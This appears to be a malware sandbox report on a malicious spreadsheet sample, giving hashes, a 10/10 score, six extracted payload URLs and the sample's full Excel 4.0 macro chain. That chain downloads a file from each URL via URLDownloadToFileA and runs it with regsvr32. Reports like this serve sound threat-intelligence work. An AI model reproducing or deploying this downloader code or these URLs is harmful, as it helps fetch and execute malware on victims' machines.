General
-
Target
fd4c84611d6f720548fcdcfed9d029fb2bb67898c4a95cef78ee6639ba94d4bf
-
Size
46KB
-
Sample
241120-qtft6sxbne
-
MD5
4340a556457a9587d6c08b2bdd2cfe9e
-
SHA1
2215cfe36a738165e02bbd19f3caaebf807cb179
-
SHA256
fd4c84611d6f720548fcdcfed9d029fb2bb67898c4a95cef78ee6639ba94d4bf
-
SHA512
c16e4966ae51b33903f84cd9f00e66b2706439c42933f6cddf3ad13de1c46e964f0a396c1c77d5a228a40e706289a2c57639fe5ac42c0ee39b7252cfc03e4978
-
SSDEEP
768:iEoTBvDOevZCwrvtWzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2ceI:tolvDmtT5fTR4Lh1NisFYBc3cr+UqVUz
Malware Config
Extracted
http://moveconnects.com/wp-admin/network/7T8g9DAohsL/
http://benzo-pl.com/wp-content/NVJU3gASPcyRDctfsM/
http://mentalpeaks.care/kymogram/ex1hhh/
https://melhoreseudia.club/assets/JbQzzZ7UBaXq7bB/
http://meca-global.com/okickb/Vm1FMsVcbL/
http://bizfedlacounty.org/wp-auth/GxsV/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moveconnects.com/wp-admin/network/7T8g9DAohsL/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://benzo-pl.com/wp-content/NVJU3gASPcyRDctfsM/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mentalpeaks.care/kymogram/ex1hhh/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://melhoreseudia.club/assets/JbQzzZ7UBaXq7bB/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://meca-global.com/okickb/Vm1FMsVcbL/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bizfedlacounty.org/wp-auth/GxsV/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
http://moveconnects.com/wp-admin/network/7T8g9DAohsL/
http://benzo-pl.com/wp-content/NVJU3gASPcyRDctfsM/
http://mentalpeaks.care/kymogram/ex1hhh/
https://melhoreseudia.club/assets/JbQzzZ7UBaXq7bB/
http://meca-global.com/okickb/Vm1FMsVcbL/
Targets
-
-
Target
fd4c84611d6f720548fcdcfed9d029fb2bb67898c4a95cef78ee6639ba94d4bf
-
Size
46KB
-
MD5
4340a556457a9587d6c08b2bdd2cfe9e
-
SHA1
2215cfe36a738165e02bbd19f3caaebf807cb179
-
SHA256
fd4c84611d6f720548fcdcfed9d029fb2bb67898c4a95cef78ee6639ba94d4bf
-
SHA512
c16e4966ae51b33903f84cd9f00e66b2706439c42933f6cddf3ad13de1c46e964f0a396c1c77d5a228a40e706289a2c57639fe5ac42c0ee39b7252cfc03e4978
-
SSDEEP
768:iEoTBvDOevZCwrvtWzdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2ceI:tolvDmtT5fTR4Lh1NisFYBc3cr+UqVUz
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-